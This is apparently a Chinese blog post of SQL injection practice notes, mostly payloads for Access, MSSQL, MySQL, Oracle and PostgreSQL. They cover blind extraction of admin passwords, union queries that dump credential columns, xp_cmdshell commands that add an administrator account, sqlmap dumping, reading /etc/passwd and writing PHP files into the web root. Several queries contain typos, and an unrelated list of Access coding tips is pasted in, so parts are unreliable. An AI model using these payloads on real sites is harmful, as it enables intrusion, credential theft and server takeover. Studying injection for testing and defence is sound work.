加载中...
SQL注入实战笔记
发表于:2022-01-14 | 分类: Web安全

SQL注入实战笔记

ACCESS注入

微软数据库, 后缀.mdb

优点

  1. 提高速度和减少代码量
  2. 你可以用几种技巧来提高你的编码速度,但是却找不到有效的算法的替代者。接下来的这几点建议可以提高你的编码速度同时又减少你的应用程序消耗的存储空间。
  3. 用整形数进行数学运算
  4. 即使Microsoft Access会使用一个联合处理器来处理浮点型算术,整型数算术也总是要快一些,当你的计算不含有小数,尽量使用整型或长整型而不是变量或双整型。整型除法同样也要比浮点除法要快。在使用其他一些有效的数据类型时会警告:没有任何东西可以替换有效的运算法则。
  5. 避免使用过程调用
  6. 避免在循环体中使用子程序或函数调用。每一次调用都因额外的工作和时间而给编码增大了负担。每一次调用都要求把函数的局部变量和参数压栈,而栈的大小是固定的,不能随便加大,并且同时还要于Microsoft Access共享。

缺点

  1. 数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!(例如:访问人数过多时容易造成IIS假死,过多消耗服务器资源等等)
  2. 容易出现各种因数据库刷写频率过快而引起的数据库问题。
    3 . ACCESS数据库安全性比不上其他类型的数据库。
    4 . ACCESS论坛大了以后就很容易出现数据库方面的问题,当论坛数据库在50M以上,帖子5万左右,在线也在100人左右的时候,你的论坛基本上都在处理数据库上花时间,这个时候很可能就会出现数据库慢的情况。

注入点

1
http://127.0.0.1:99/pro_detail.asp?id=30

判断注入点

1
2
3
4
5
6
'
and 1 = 1
and 1 = 2
or 1 = 1
or 1 = 2

手工注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
### 判断数据库类型
and exists (select * from msysobjects)>0 access
and exists (select * from sysobjects)>0 mysql
### 判断数据表
and exists (select * from admin)>0 /user/adminuser
and exists (select admin,passwd from admin)>0 /pass/pwd
### 判断字段数目
order by 20
不报错
union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 from admin
查看显示的字段序号
### 爆账号密码
and (select len(admin) from admin)>4
and (select len(password) from admin)>15 大于15一般都是密文

# 枚举用户名及密码
通过判断ascii码来判断
and (select top 1 asc(mid(admin,1,1)l from admin)>100返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1) from admin)>50返回正常说明大于
and (select top 1 asc(mid(admin,1,1) from admin)=97返回正常说明等于97
97对应的字母为a以此类推

MSSQLSever注入

微软数据库, 文件后缀.mdf 日志后缀log.lfd

数据库权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等 system
  • db权限:文件管理,数据库操作等 users-adminstrators
  • public权限:数据库操作 guest-users

jsp代码

1
2
3
4
5
<%
set conn =server.createobject("adodb.connection)
conn.open "provider=sqloledbysource=local;uid=sa;pwd=******;database=database-name"
%>

手注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
1.判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的
2.初步判断是否是mssqland user>0
3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count() from msysobjects)>0 access
4.注入参数是字符
'and[查询条件]and '=' '
5.搜索时没过滤参数的
'and[查询条件]and '%25'='
6.猜数表名
and (select Count(*) from[表名])>0
7.猜字段
and (select Count(字段名) from表名>0
8.猜字段中记录长度
and (select top 1 len(字段名) from表名)>0
9(1)猜字段的ascii值(access )
and (select top 1 asc(mid(字段名,1,1)) from表名)>
(2)猜字段的ascii值( mssql)
and (select top 1 unicode(substring(字段名,1,1)) from表名)>0
10.测试权限结构( mssql )
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators username/add';--

## 版本信息
and 1 =(select @@version)
and 1 =(select db_name()) 'acublog'
## 获取第一个用户
and 1=(select top 1 name from master..sysdatabases wheredbid>4 and name<> 'acublog')
## 获取第一张表threads
?id=1 and 1=(select top 1 name from sysobjects wherextype='u')
'threads'
## 获取第二张表users
?id=1 and 1=(select top 1 name from sysobjects wherextype='U" and name <> 'threads')
以此类推

MySQL注入

多个数据库名
手注同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
4.0以上有imformation_schema
union select 1,2,3,4,5,6,7,8,9,10 from imformation_schema.tables
database() 数据库名 jian(十六进制0x***)
version() 数据库版本名
user() 用户
load_file()查源代码
union select 1,user(),3,4,5,6,7,8,9,10
@@version_compile_os 操作系统
## 查表
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from imformation_schema.tables where table_schema=0x***
## 列
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from imformation_schema.columns where table_schema=0x***(列名)
## 账号
union select 1,group_concat(username, 0x5c, password),3,4,5,6,7,8,9,10 from xxxmember

sqlmap

1
2
3
4
5
6
sqlmap -u "http://xxx.com/serch.php?id=45"
sqlmap -u "http://xxx.com/serch.php?id=45" --sql-shell
>select load_file("/etc/passwd"); 找连接脚本
>select user.pwd from admin
## 写一句话
union select 1,"<?php phpinfo()?>",3,4,5,6,7,8,9,10 into outfile './a.php'

Oracle注入

1
2
3
4
## 判断注入点
order by 3
and (select count(*) from admin)>0
同上

PostgreSQL注入

1
2
3
4
5
6
7
and 1 = cast(version() as int)
and 1 = cast(user||123 as int) 用户名信息 postgres用户相当于root

## 写一句话
;create table ccc(w text not null);
;insert into ccc values($$<?php phpinfo();?>$$);
;copy ccc(w) to $$/home/xxx/html/script/shell.php$$;

提交方式注入

GET

?id=1

POST

表单提交

1
2
3
'or 1=1 登录
sqlmap -u "" --data "" -D "dbname" -T "table" -C "column" --dump

1
2
3
4
## 网站记录
and 1 = <??>
记录非法语句,盲连log
或者使用cookie注入(工具)

参数注入

数字型

?id=1 'and 1=1 #

字符型

?name=客户 'and 1=1 #

搜索型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
like像通配符*sql通配符%%
select * from news where id=""%like $id%-
http://127.0.0.1/search.asp?Field=Title&BigClassName=&SmallClassName=&keyword=123&Submit=%CB%D1%CB%F7
参数:keyword=123
"%%'and 1=2 and '%'='%'
2%'and 1=1 and "%'='返回和单独输入2是一样的页面
2%'and 1=2 and '%'='返回不同
2%'and(select count(*)from mssysaccessobjects)>0 and '%'='//返回正常。
access数据库2%'and(select count(*)from admin_user)>0 and %'='//返回正常非常幸运,存在admin_user表
2%and(selec count(usemame)from admin_user)>0 and %'='//返回正常存在usemame字段
2% and(select count(password)Irorm admin_user)>0 and "% ='//返回正常,并且存在passward字段
2% and(select top 1 len(admin)from admin_user)>4 and "%'='//返回正常username长度大于4
2% and(select top 1 len(username)from admin_user)=5 and '%'='//返回正常username长度等于5
2%'and(select count("*)from mssysaccessobjects)>0 and %'='//返回正常。access数据库
2%'and(select count(*)from admin_user)>0 and '%'='//返回正常非常幸运,存在admin_user表
2%'and(select count(usermame)from admin_user)>0 and '%='//返回正常存在usemame字段
2% and(select count(password)from admin _user)>0 and %'='/f返回正常,并且存在password字段
2% and(select top 1 len(admin)from admin_user)>4 and '%'='//返回正常usemame长度大于4
2% and(select top 1 len(username)from admin_user)=5 and "%='//返回正常username长度等于5
2%'and(select top 1 len(password)from admin_user)=16 and %'='//返回错误,看来密码不是16位md5加密的,或者没加密,32位加密,或更高。
2010%'and(select top 1 len(password)from admin_user)=32 and %'='//返回正常,看来应该是32位加密。
以下都是对应位置的ascii的编码,如果不是则返回错误。
2%'and(select top 1 asc(mid(password,1,1))from admin_user)=55 and '%'='
如果是:2010%'and(select top 1 asc(mid(password,1,1))from admin_user)=48 and '% '=',
//则返回错误,因为password字段第一个字母asci编码不是48,而是55.所以返回结果不同。


### 工具
burpsuite
sqlmap
先使用burp抓包,保存到1.txt文件里
sqlmap -r 1.txt --tables 猜表名
sqlmap -r 1.txt --columns -T "admin" 猜列名
sqImap -r 1.txt --C "admin.password"-T "manager"--dump -v 2 列内容

伪静态页面注入

形如:

  • /index.php/xxx/id/1234.html
  • /index.jsp/xxx/id/1234
  • /showarticle_55.html

尝试拆解原请求页面成php?id=1234,在进行常规操作

上一篇:
SQLI Labs
下一篇:
MapReduce二次排序
本文目录
本文目录